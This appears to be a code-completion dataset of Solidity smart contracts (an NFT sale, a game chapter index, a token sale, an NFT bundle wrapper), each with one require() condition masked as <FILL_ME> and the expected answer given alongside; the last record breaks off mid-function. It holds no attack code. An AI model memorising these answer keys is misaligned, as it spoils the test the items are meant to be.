chapter.generator = _chapters[chapterNumber - 1].generator; // use previous chapter contract
}
if(mapper_ != address(0)) {
require(ERC165Checker.supportsInterface(mapper_, type(ICrawlerMapper).interfaceId), 'Invalid ICrawlerMapper contract');
chapter.mapper = ICrawlerMapper(mapper_); // set new contract
} else if (address(chapter.mapper) == address(0) && chapterNumber > 1) {
chapter.mapper = _chapters[chapterNumber - 1].mapper; // use previous chapter contract
}
if(renderer_ != address(0)) {
require(<FILL_ME>)
chapter.renderer = ICrawlerRenderer(renderer_); // set new contract
} else if (address(chapter.renderer) == address(0) && chapterNumber > 1) {
chapter.renderer = _chapters[chapterNumber - 1].renderer; // use previous chapter contract
}
_chapters[chapterNumber] = chapter;
}
/// @notice Admin function
function setCurrentChapter(uint8 chapterNumber) public onlyOwner {
}
//---------------
// Public
//
/// @notice Get the current Chapter number
/// @return chapterNumber
function getCurrentChapterNumber() public view override returns (uint8) {
}
/// @notice Get them current Chapter contracts
/// @return chapter Structure containing contract addresses
function getCurrentChapter() public view override returns (Chapter memory) {
}
/// @notice Get a Chapter's contracts
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @return chapter Structure containing contract addresses
function getChapter(uint8 chapterNumber) public view override returns (Chapter memory) {
}
/// @notice Get a Chapter's contracts
/// @dev internal version can use storage, cheaper
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @return chapter Structure containing contract addresses
function _getChapter(uint8 chapterNumber) internal view returns (Chapter storage) {
}
/// @notice Get the ICrawlerChamberGenerator contract
/// @return generator contract address
function getChamberGenerator() public view override returns (ICrawlerChamberGenerator) {
}
/// @notice Get an ICrawlerGenerator contract
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @return generator contract address
function getGenerator(uint8 chapterNumber) public view override returns (ICrawlerGenerator) {
}
/// @notice Get an ICrawlerMapper contract
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @return mapper contract address
function getMapper(uint8 chapterNumber) public view override returns (ICrawlerMapper) {
}
/// @notice Get an ICrawlerRenderer contract
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @return renderer contract address
function getRenderer(uint8 chapterNumber) public view override returns (ICrawlerRenderer) {
}
//---------------------------------------
// Token / Metadata calls
//
/// @notice Generate and returns everything about a chamber
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @param coord Chamber coordinate
/// @param chamberSeed Chamber static data
/// @param generateMaps If True, will generate bitmap and tilemap (slower)
/// @return result Crawler.ChamberData struct
function getChamberData(uint8 chapterNumber, uint256 coord, Crawl.ChamberSeed memory chamberSeed, bool generateMaps) public view override returns (Crawl.ChamberData memory result) {
}
/// @notice Returns a Chamber metadata, without maps
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @param coord Chamber coordinate
/// @param chamberSeed Chamber static data
/// @return metadata Metadata, as plain json string
function getChamberMetadata(uint8 chapterNumber, uint256 coord, Crawl.ChamberSeed memory chamberSeed) public view override returns (string memory) {
}
/// @notice Returns the seed and tilemap of a Chamber, used for world building
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @param coord Chamber coordinate
/// @param chamberSeed Chamber static data
/// @return metadata Metadata, as plain json string
function getMapMetadata(uint8 chapterNumber, uint256 coord, Crawl.ChamberSeed memory chamberSeed) public view override returns (string memory) {
}
/// @notice Returns IERC721Metadata compliant metadata, used by tokenURI()
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @param coord Chamber coordinate
/// @param chamberSeed Chamber static data
/// @return metadata Metadata, as base64 json string
function getTokenMetadata(uint8 chapterNumber, uint256 coord, Crawl.ChamberSeed memory chamberSeed) public view override returns (string memory) {
}
}
| ERC165Checker.supportsInterface(renderer_,type(ICrawlerRenderer).interfaceId),'Invalid ICrawlerRenderer contract' | 71,432 | ERC165Checker.supportsInterface(renderer_,type(ICrawlerRenderer).interfaceId) |
'Invalid Chapter' | // SPDX-License-Identifier: MIT
//
// ██████████
// █ █
// █ █
// █ █
// █ █
// █ ░░░░ █
// █ ▓▓▓▓▓▓ █
// █ ████████ █
//
// https://endlesscrawler.io
// @EndlessCrawler
//
/// @title Endless Crawler Chapter Index
/// @author Studio Avante
/// @notice Manages Chapters contracts
/// @dev Depends on ICrawlerToken (chambers)
//
pragma solidity ^0.8.16;
import { Ownable } from '@openzeppelin/contracts/access/Ownable.sol';
import { ERC165Checker } from '@openzeppelin/contracts/utils/introspection/ERC165Checker.sol';
import { ICrawlerIndex } from './ICrawlerIndex.sol';
import { ICrawlerToken } from './ICrawlerToken.sol';
import { ICrawlerChamberGenerator } from './ICrawlerChamberGenerator.sol';
import { ICrawlerGenerator } from './ICrawlerGenerator.sol';
import { ICrawlerMapper } from './ICrawlerMapper.sol';
import { ICrawlerRenderer } from './ICrawlerRenderer.sol';
import { Crawl } from './Crawl.sol';
contract CrawlerIndex is Ownable, ICrawlerIndex {
ICrawlerToken public _tokenContract;
ICrawlerChamberGenerator public _chamberGenerator;
mapping(uint8 => Chapter) private _chapters;
uint8 private _currentChapterNumber;
event ChangedChapter(uint256 indexed chapterNumber);
constructor(address generator_, address mapper_, address renderer_) {
}
//---------------
// Admin
//
/// @notice Admin function
function setTokenContract(address tokenContract_) public onlyOwner {
}
/// @notice Admin function
function setupChapter(uint8 chapterNumber, address generator_, address mapper_, address renderer_) public onlyOwner {
}
/// @notice Admin function
function setCurrentChapter(uint8 chapterNumber) public onlyOwner {
require(<FILL_ME>)
_currentChapterNumber = chapterNumber;
emit ChangedChapter(chapterNumber);
}
//---------------
// Public
//
/// @notice Get the current Chapter number
/// @return chapterNumber
function getCurrentChapterNumber() public view override returns (uint8) {
}
/// @notice Get them current Chapter contracts
/// @return chapter Structure containing contract addresses
function getCurrentChapter() public view override returns (Chapter memory) {
}
/// @notice Get a Chapter's contracts
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @return chapter Structure containing contract addresses
function getChapter(uint8 chapterNumber) public view override returns (Chapter memory) {
}
/// @notice Get a Chapter's contracts
/// @dev internal version can use storage, cheaper
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @return chapter Structure containing contract addresses
function _getChapter(uint8 chapterNumber) internal view returns (Chapter storage) {
}
/// @notice Get the ICrawlerChamberGenerator contract
/// @return generator contract address
function getChamberGenerator() public view override returns (ICrawlerChamberGenerator) {
}
/// @notice Get an ICrawlerGenerator contract
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @return generator contract address
function getGenerator(uint8 chapterNumber) public view override returns (ICrawlerGenerator) {
}
/// @notice Get an ICrawlerMapper contract
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @return mapper contract address
function getMapper(uint8 chapterNumber) public view override returns (ICrawlerMapper) {
}
/// @notice Get an ICrawlerRenderer contract
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @return renderer contract address
function getRenderer(uint8 chapterNumber) public view override returns (ICrawlerRenderer) {
}
//---------------------------------------
// Token / Metadata calls
//
/// @notice Generate and returns everything about a chamber
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @param coord Chamber coordinate
/// @param chamberSeed Chamber static data
/// @param generateMaps If True, will generate bitmap and tilemap (slower)
/// @return result Crawler.ChamberData struct
function getChamberData(uint8 chapterNumber, uint256 coord, Crawl.ChamberSeed memory chamberSeed, bool generateMaps) public view override returns (Crawl.ChamberData memory result) {
}
/// @notice Returns a Chamber metadata, without maps
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @param coord Chamber coordinate
/// @param chamberSeed Chamber static data
/// @return metadata Metadata, as plain json string
function getChamberMetadata(uint8 chapterNumber, uint256 coord, Crawl.ChamberSeed memory chamberSeed) public view override returns (string memory) {
}
/// @notice Returns the seed and tilemap of a Chamber, used for world building
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @param coord Chamber coordinate
/// @param chamberSeed Chamber static data
/// @return metadata Metadata, as plain json string
function getMapMetadata(uint8 chapterNumber, uint256 coord, Crawl.ChamberSeed memory chamberSeed) public view override returns (string memory) {
}
/// @notice Returns IERC721Metadata compliant metadata, used by tokenURI()
/// @param chapterNumber The Chapter number, or 0 for current chapter
/// @param coord Chamber coordinate
/// @param chamberSeed Chamber static data
/// @return metadata Metadata, as base64 json string
function getTokenMetadata(uint8 chapterNumber, uint256 coord, Crawl.ChamberSeed memory chamberSeed) public view override returns (string memory) {
}
}
| _chapters[chapterNumber].chapterNumber!=0,'Invalid Chapter' | 71,432 | _chapters[chapterNumber].chapterNumber!=0 |
"OUT_OF_STOCK" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract GenerascopeInfinity is ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 public constant GS_MAX = 1118;
uint256 public constant GS_PRICE = 0.1 ether;
address public constant GS_HEX_CONTRACT_ADDRESS = 0xF5308E067ff8490DD32E24B4b0c5934a789E4783;
mapping(address => uint256) public allPurchases;
mapping(uint256 => bool) public mintedHexIds;
string private _contractURI;
string private _tokenBaseURI;
uint256 public publicAmountMinted;
bool public saleLive;
bool public locked;
constructor() ERC721("Generascope Infinity", "GSINF") {}
modifier notLocked() {
}
function buy(uint256 tokenQuantity) external payable {
ERC721Enumerable hexContract = ERC721Enumerable(GS_HEX_CONTRACT_ADDRESS);
uint256 hexBalance = hexContract.balanceOf(msg.sender);
require(saleLive, "SALE_CLOSED");
require(<FILL_ME>)
require(
(publicAmountMinted + tokenQuantity) <= GS_MAX,
"EXCEED_AVAILABLE"
);
require(
allPurchases[msg.sender] + tokenQuantity <= hexBalance,
"EXCEED_ALLOC"
);
require((GS_PRICE * tokenQuantity) == msg.value, "INCORRECT_ETH_AMOUNT");
uint256[] memory mintableHexIds = new uint256[](tokenQuantity);
uint256 mintableIdsCursor = 0;
for (uint256 i = 0; i < hexBalance && mintableIdsCursor < tokenQuantity; i++) {
uint256 hexId = hexContract.tokenOfOwnerByIndex(msg.sender, i);
if (mintedHexIds[hexId] != true) {
mintableHexIds[mintableIdsCursor] = hexId;
mintableIdsCursor++;
}
}
require(mintableIdsCursor == tokenQuantity, "INVALID_MINTABLE_AMOUNT");
for (uint256 i = 0; i < tokenQuantity; i++) {
mintedHexIds[mintableHexIds[i]] = true;
publicAmountMinted++;
allPurchases[msg.sender]++;
_safeMint(msg.sender, totalSupply() + 1);
}
}
function ownerMint(uint256 tokenQuantity) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function allPurchasedCount(address addr)
external
view
returns (uint256)
{
}
// Owner functions for enabling presale and sale
function lockMetadata() external onlyOwner {
}
function toggleSaleStatus() external onlyOwner {
}
function setContractURI(string calldata URI) external onlyOwner notLocked {
}
function setBaseURI(string calldata URI) external onlyOwner notLocked {
}
function contractURI() public view returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
}
}
| totalSupply()<GS_MAX,"OUT_OF_STOCK" | 71,460 | totalSupply()<GS_MAX |
"EXCEED_AVAILABLE" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract GenerascopeInfinity is ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 public constant GS_MAX = 1118;
uint256 public constant GS_PRICE = 0.1 ether;
address public constant GS_HEX_CONTRACT_ADDRESS = 0xF5308E067ff8490DD32E24B4b0c5934a789E4783;
mapping(address => uint256) public allPurchases;
mapping(uint256 => bool) public mintedHexIds;
string private _contractURI;
string private _tokenBaseURI;
uint256 public publicAmountMinted;
bool public saleLive;
bool public locked;
constructor() ERC721("Generascope Infinity", "GSINF") {}
modifier notLocked() {
}
function buy(uint256 tokenQuantity) external payable {
ERC721Enumerable hexContract = ERC721Enumerable(GS_HEX_CONTRACT_ADDRESS);
uint256 hexBalance = hexContract.balanceOf(msg.sender);
require(saleLive, "SALE_CLOSED");
require(totalSupply() < GS_MAX, "OUT_OF_STOCK");
require(<FILL_ME>)
require(
allPurchases[msg.sender] + tokenQuantity <= hexBalance,
"EXCEED_ALLOC"
);
require((GS_PRICE * tokenQuantity) == msg.value, "INCORRECT_ETH_AMOUNT");
uint256[] memory mintableHexIds = new uint256[](tokenQuantity);
uint256 mintableIdsCursor = 0;
for (uint256 i = 0; i < hexBalance && mintableIdsCursor < tokenQuantity; i++) {
uint256 hexId = hexContract.tokenOfOwnerByIndex(msg.sender, i);
if (mintedHexIds[hexId] != true) {
mintableHexIds[mintableIdsCursor] = hexId;
mintableIdsCursor++;
}
}
require(mintableIdsCursor == tokenQuantity, "INVALID_MINTABLE_AMOUNT");
for (uint256 i = 0; i < tokenQuantity; i++) {
mintedHexIds[mintableHexIds[i]] = true;
publicAmountMinted++;
allPurchases[msg.sender]++;
_safeMint(msg.sender, totalSupply() + 1);
}
}
function ownerMint(uint256 tokenQuantity) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function allPurchasedCount(address addr)
external
view
returns (uint256)
{
}
// Owner functions for enabling presale and sale
function lockMetadata() external onlyOwner {
}
function toggleSaleStatus() external onlyOwner {
}
function setContractURI(string calldata URI) external onlyOwner notLocked {
}
function setBaseURI(string calldata URI) external onlyOwner notLocked {
}
function contractURI() public view returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
}
}
| (publicAmountMinted+tokenQuantity)<=GS_MAX,"EXCEED_AVAILABLE" | 71,460 | (publicAmountMinted+tokenQuantity)<=GS_MAX |
"EXCEED_ALLOC" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract GenerascopeInfinity is ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 public constant GS_MAX = 1118;
uint256 public constant GS_PRICE = 0.1 ether;
address public constant GS_HEX_CONTRACT_ADDRESS = 0xF5308E067ff8490DD32E24B4b0c5934a789E4783;
mapping(address => uint256) public allPurchases;
mapping(uint256 => bool) public mintedHexIds;
string private _contractURI;
string private _tokenBaseURI;
uint256 public publicAmountMinted;
bool public saleLive;
bool public locked;
constructor() ERC721("Generascope Infinity", "GSINF") {}
modifier notLocked() {
}
function buy(uint256 tokenQuantity) external payable {
ERC721Enumerable hexContract = ERC721Enumerable(GS_HEX_CONTRACT_ADDRESS);
uint256 hexBalance = hexContract.balanceOf(msg.sender);
require(saleLive, "SALE_CLOSED");
require(totalSupply() < GS_MAX, "OUT_OF_STOCK");
require(
(publicAmountMinted + tokenQuantity) <= GS_MAX,
"EXCEED_AVAILABLE"
);
require(<FILL_ME>)
require((GS_PRICE * tokenQuantity) == msg.value, "INCORRECT_ETH_AMOUNT");
uint256[] memory mintableHexIds = new uint256[](tokenQuantity);
uint256 mintableIdsCursor = 0;
for (uint256 i = 0; i < hexBalance && mintableIdsCursor < tokenQuantity; i++) {
uint256 hexId = hexContract.tokenOfOwnerByIndex(msg.sender, i);
if (mintedHexIds[hexId] != true) {
mintableHexIds[mintableIdsCursor] = hexId;
mintableIdsCursor++;
}
}
require(mintableIdsCursor == tokenQuantity, "INVALID_MINTABLE_AMOUNT");
for (uint256 i = 0; i < tokenQuantity; i++) {
mintedHexIds[mintableHexIds[i]] = true;
publicAmountMinted++;
allPurchases[msg.sender]++;
_safeMint(msg.sender, totalSupply() + 1);
}
}
function ownerMint(uint256 tokenQuantity) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function allPurchasedCount(address addr)
external
view
returns (uint256)
{
}
// Owner functions for enabling presale and sale
function lockMetadata() external onlyOwner {
}
function toggleSaleStatus() external onlyOwner {
}
function setContractURI(string calldata URI) external onlyOwner notLocked {
}
function setBaseURI(string calldata URI) external onlyOwner notLocked {
}
function contractURI() public view returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
}
}
| allPurchases[msg.sender]+tokenQuantity<=hexBalance,"EXCEED_ALLOC" | 71,460 | allPurchases[msg.sender]+tokenQuantity<=hexBalance |
"INCORRECT_ETH_AMOUNT" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract GenerascopeInfinity is ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 public constant GS_MAX = 1118;
uint256 public constant GS_PRICE = 0.1 ether;
address public constant GS_HEX_CONTRACT_ADDRESS = 0xF5308E067ff8490DD32E24B4b0c5934a789E4783;
mapping(address => uint256) public allPurchases;
mapping(uint256 => bool) public mintedHexIds;
string private _contractURI;
string private _tokenBaseURI;
uint256 public publicAmountMinted;
bool public saleLive;
bool public locked;
constructor() ERC721("Generascope Infinity", "GSINF") {}
modifier notLocked() {
}
function buy(uint256 tokenQuantity) external payable {
ERC721Enumerable hexContract = ERC721Enumerable(GS_HEX_CONTRACT_ADDRESS);
uint256 hexBalance = hexContract.balanceOf(msg.sender);
require(saleLive, "SALE_CLOSED");
require(totalSupply() < GS_MAX, "OUT_OF_STOCK");
require(
(publicAmountMinted + tokenQuantity) <= GS_MAX,
"EXCEED_AVAILABLE"
);
require(
allPurchases[msg.sender] + tokenQuantity <= hexBalance,
"EXCEED_ALLOC"
);
require(<FILL_ME>)
uint256[] memory mintableHexIds = new uint256[](tokenQuantity);
uint256 mintableIdsCursor = 0;
for (uint256 i = 0; i < hexBalance && mintableIdsCursor < tokenQuantity; i++) {
uint256 hexId = hexContract.tokenOfOwnerByIndex(msg.sender, i);
if (mintedHexIds[hexId] != true) {
mintableHexIds[mintableIdsCursor] = hexId;
mintableIdsCursor++;
}
}
require(mintableIdsCursor == tokenQuantity, "INVALID_MINTABLE_AMOUNT");
for (uint256 i = 0; i < tokenQuantity; i++) {
mintedHexIds[mintableHexIds[i]] = true;
publicAmountMinted++;
allPurchases[msg.sender]++;
_safeMint(msg.sender, totalSupply() + 1);
}
}
function ownerMint(uint256 tokenQuantity) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function allPurchasedCount(address addr)
external
view
returns (uint256)
{
}
// Owner functions for enabling presale and sale
function lockMetadata() external onlyOwner {
}
function toggleSaleStatus() external onlyOwner {
}
function setContractURI(string calldata URI) external onlyOwner notLocked {
}
function setBaseURI(string calldata URI) external onlyOwner notLocked {
}
function contractURI() public view returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
}
}
| (GS_PRICE*tokenQuantity)==msg.value,"INCORRECT_ETH_AMOUNT" | 71,460 | (GS_PRICE*tokenQuantity)==msg.value |
"Contact does not have enough tokens" | pragma solidity ^0.5.0;
import "./token.sol";
contract TokenSale {
address payable admin;
Token public tokenContract;
constructor(Token _tokenContract) public {
}
function buyTokens(uint256 _numberOfTokens) public payable{
require(
_numberOfTokens == msg.value / 10**14,
"Number of tokens does not match with the value"
);
require(<FILL_ME>)
require(
tokenContract.transfer(msg.sender, _numberOfTokens),
"Some problem with token transfer"
);
}
function endSale() public {
}
function expenses(uint256 _expenses) public {
}
function()payable external{}
}
| tokenContract.balanceOf(address(this))>=_numberOfTokens,"Contact does not have enough tokens" | 71,586 | tokenContract.balanceOf(address(this))>=_numberOfTokens |
"Some problem with token transfer" | pragma solidity ^0.5.0;
import "./token.sol";
contract TokenSale {
address payable admin;
Token public tokenContract;
constructor(Token _tokenContract) public {
}
function buyTokens(uint256 _numberOfTokens) public payable{
require(
_numberOfTokens == msg.value / 10**14,
"Number of tokens does not match with the value"
);
require(
tokenContract.balanceOf(address(this)) >= _numberOfTokens,
"Contact does not have enough tokens"
);
require(<FILL_ME>)
}
function endSale() public {
}
function expenses(uint256 _expenses) public {
}
function()payable external{}
}
| tokenContract.transfer(msg.sender,_numberOfTokens),"Some problem with token transfer" | 71,586 | tokenContract.transfer(msg.sender,_numberOfTokens) |
"Unable to transfer tokens to 0x0000" | pragma solidity ^0.5.0;
import "./token.sol";
contract TokenSale {
address payable admin;
Token public tokenContract;
constructor(Token _tokenContract) public {
}
function buyTokens(uint256 _numberOfTokens) public payable{
}
function endSale() public {
require(msg.sender == admin, "Only the admin can call this function");
require(<FILL_ME>)
selfdestruct(admin);
}
function expenses(uint256 _expenses) public {
}
function()payable external{}
}
| tokenContract.transfer(address(0),tokenContract.balanceOf(address(this))),"Unable to transfer tokens to 0x0000" | 71,586 | tokenContract.transfer(address(0),tokenContract.balanceOf(address(this))) |
"pullAirdrop msg.sender not eligible" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "./NftfiBundler.sol";
import "./utils/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/**
* @title ImmutableBundle
* @author NFTfi
* @notice Bundle wrapper that allows users to lock bundles so they can be used for loans.
* @dev This contract prevents owners of the bundles to remove any child, but they can still receive new children.
* Solves the problem of bundles being emptied by their owner between they are listed and the loan begins.
*/
contract ImmutableBundle is ERC721Enumerable, IERC721Receiver, Ownable, Pausable {
using SafeERC20 for IERC20;
using Strings for uint256;
// Incremental token id
uint256 public tokenCount = 0;
// Address of the bundler contract
NftfiBundler public immutable bundler;
string public baseURI;
// flag to toggle airdrop flashloan functionality
bool public pullAirdropEnabled; //false by default
// immutable tokenId => bundleId
mapping(uint256 => uint256) public bundleOfImmutable;
// bundleId => immutable tokenId
mapping(uint256 => uint256) public immutableOfBundle;
event ImmutableMinted(uint256 indexed immutableId, uint256 indexed bundleId);
/**
* @dev Stores the bundler, name and symbol
*
* @param _bundler Address of the bundler contract
* @param _name name of the token contract
* @param _symbol symbol of the token contract
*/
constructor(
address _admin,
address _bundler,
string memory _name,
string memory _symbol,
string memory _customBaseURI
) ERC721(_name, _symbol) Ownable(_admin) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 _interfaceId) public view virtual override(ERC721Enumerable) returns (bool) {
}
/**
* @notice Mints a new bundle storing it as immutable bundle.
* The bundle can receive children but there is no way to remove a child, unless withdrawing the bundle.
* @param _to The address that owns the new immutable bundle
* @return The id of the new created immutable bundle
*/
function mintBundle(address _to) external whenNotPaused returns (uint256) {
}
/**
* @notice Method invoked when a bundle is received
* param The address that caused the transfer
* @param _from The previous owner of the token
* @param _bundleId The bundle that is being transferred
* param _data Arbitrary data
* @return the selector of this method
*/
function onERC721Received(
address,
address _from,
uint256 _bundleId,
bytes memory
) external virtual override whenNotPaused returns (bytes4) {
}
/**
* @notice Withdraw a bundle
* @param _immutableId the id of the immutable bundle
* @param _to the address of the receiver of the bundle
*/
function withdraw(uint256 _immutableId, address _to) external {
}
/**
* @notice Withdraw a bundle and remove all the children from the bundle
* @param _immutableId the id of the immutable bundle
* @param _to the address of the receiver of the bundle
*/
function withdrawAndDecompose(uint256 _immutableId, address _to) external {
}
/**
* @notice this function initiates a flashloan to pull an airdrop from a tartget contract
*
* @param _immutableId - the id of the immutable bundle
* @param _nftContract - contract address of the target nft of the drop
* @param _nftId - id of the target nft of the drop
* @param _target - address of the airdropping contract
* @param _data - function selector to be called on the airdropping contract
* @param _nftAirdrop - address of the used claiming nft in the drop
* @param _nftAirdropId - id of the used claiming nft in the drop
* @param _is1155 -
* @param _nftAirdropAmount - amount in case of 1155
*/
function pullAirdrop(
uint256 _immutableId,
address _nftContract,
uint256 _nftId,
address _target,
bytes calldata _data,
address _nftAirdrop,
uint256 _nftAirdropId,
bool _is1155,
uint256 _nftAirdropAmount
) external {
require(pullAirdropEnabled, "pullAirdrop feature disabled");
require(<FILL_ME>)
(, uint256 bundleId) = bundler.ownerOfChild(_nftContract, _nftId);
require(bundleOfImmutable[_immutableId] == bundleId, "immutable-nft mismatch");
bundler.pullAirdrop(
_nftContract,
_nftId,
_target,
_data,
_nftAirdrop,
_nftAirdropId,
_is1155,
_nftAirdropAmount,
msg.sender
);
}
/**
* @notice Validates the withdraw params
* @param _immutableId the id of the immutable bundle
* @param _to the address of the receiver of the bundle
*/
function _validateWithdraw(uint256 _immutableId, address _to) internal view {
}
/**
* @notice Mints a new immutable bundle.
* @param _to The address that owns the new immutable bundle
* @param _bundleId The associated bundle id
* @return The id of the new created immutable bundle
*/
function _mintImmutableBundle(address _to, uint256 _bundleId) internal returns (uint256) {
}
/**
* @notice Burns an immutable bundle
* @param _immutableId the id of the immutable bundle
*/
function _burnImmutableBundle(uint256 _immutableId) internal {
}
/**
* @notice used by the owner account to be able to drain ERC721 tokens received as airdrops
* for the locked collateral NFT-s
* @param _tokenAddress - address of the token contract for the token to be sent out
* @param _tokenId - id token to be sent out
* @param _receiver - receiver of the token
*/
function rescueERC721(
address _tokenAddress,
uint256 _tokenId,
address _receiver
) external onlyOwner {
}
/**
* @notice used by the owner account to be able to drain ERC20 tokens received as airdrops
* for the locked collateral NFT-s
* @param _tokenAddress - address of the token contract for the token to be sent out
* @param _receiver - receiver of the token
*/
function rescueERC20(address _tokenAddress, address _receiver) external onlyOwner {
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - Only the owner can call this method.
* - The contract must not be paused.
*/
function pause() external onlyOwner {
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - Only the owner can call this method.
* - The contract must be paused.
*/
function unpause() external onlyOwner {
}
/**
* @dev Toggles airdrop flashloan feature
* @param _pullAirdropEnabled - bool flag
*/
function setPullAirdropEnabled(bool _pullAirdropEnabled) external onlyOwner {
}
/**
* @dev Sets baseURI.
* @param _customBaseURI - Base URI
*/
function setBaseURI(string memory _customBaseURI) external onlyOwner {
}
/**
* @dev Sets baseURI.
*/
function _setBaseURI(string memory _customBaseURI) internal virtual {
}
/** @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`.
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev This function gets the current chain ID.
*/
function _getChainID() internal view returns (uint256) {
}
}
| ownerOf(_immutableId)==msg.sender,"pullAirdrop msg.sender not eligible" | 71,719 | ownerOf(_immutableId)==msg.sender |
"immutable-nft mismatch" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "./NftfiBundler.sol";
import "./utils/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/**
* @title ImmutableBundle
* @author NFTfi
* @notice Bundle wrapper that allows users to lock bundles so they can be used for loans.
* @dev This contract prevents owners of the bundles to remove any child, but they can still receive new children.
* Solves the problem of bundles being emptied by their owner between they are listed and the loan begins.
*/
contract ImmutableBundle is ERC721Enumerable, IERC721Receiver, Ownable, Pausable {
using SafeERC20 for IERC20;
using Strings for uint256;
// Incremental token id
uint256 public tokenCount = 0;
// Address of the bundler contract
NftfiBundler public immutable bundler;
string public baseURI;
// flag to toggle airdrop flashloan functionality
bool public pullAirdropEnabled; //false by default
// immutable tokenId => bundleId
mapping(uint256 => uint256) public bundleOfImmutable;
// bundleId => immutable tokenId
mapping(uint256 => uint256) public immutableOfBundle;
event ImmutableMinted(uint256 indexed immutableId, uint256 indexed bundleId);
/**
* @dev Stores the bundler, name and symbol
*
* @param _bundler Address of the bundler contract
* @param _name name of the token contract
* @param _symbol symbol of the token contract
*/
constructor(
address _admin,
address _bundler,
string memory _name,
string memory _symbol,
string memory _customBaseURI
) ERC721(_name, _symbol) Ownable(_admin) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 _interfaceId) public view virtual override(ERC721Enumerable) returns (bool) {
}
/**
* @notice Mints a new bundle storing it as immutable bundle.
* The bundle can receive children but there is no way to remove a child, unless withdrawing the bundle.
* @param _to The address that owns the new immutable bundle
* @return The id of the new created immutable bundle
*/
function mintBundle(address _to) external whenNotPaused returns (uint256) {
}
/**
* @notice Method invoked when a bundle is received
* param The address that caused the transfer
* @param _from The previous owner of the token
* @param _bundleId The bundle that is being transferred
* param _data Arbitrary data
* @return the selector of this method
*/
function onERC721Received(
address,
address _from,
uint256 _bundleId,
bytes memory
) external virtual override whenNotPaused returns (bytes4) {
}
/**
* @notice Withdraw a bundle
* @param _immutableId the id of the immutable bundle
* @param _to the address of the receiver of the bundle
*/
function withdraw(uint256 _immutableId, address _to) external {
}
/**
* @notice Withdraw a bundle and remove all the children from the bundle
* @param _immutableId the id of the immutable bundle
* @param _to the address of the receiver of the bundle
*/
function withdrawAndDecompose(uint256 _immutableId, address _to) external {
}
/**
* @notice this function initiates a flashloan to pull an airdrop from a tartget contract
*
* @param _immutableId - the id of the immutable bundle
* @param _nftContract - contract address of the target nft of the drop
* @param _nftId - id of the target nft of the drop
* @param _target - address of the airdropping contract
* @param _data - function selector to be called on the airdropping contract
* @param _nftAirdrop - address of the used claiming nft in the drop
* @param _nftAirdropId - id of the used claiming nft in the drop
* @param _is1155 -
* @param _nftAirdropAmount - amount in case of 1155
*/
function pullAirdrop(
uint256 _immutableId,
address _nftContract,
uint256 _nftId,
address _target,
bytes calldata _data,
address _nftAirdrop,
uint256 _nftAirdropId,
bool _is1155,
uint256 _nftAirdropAmount
) external {
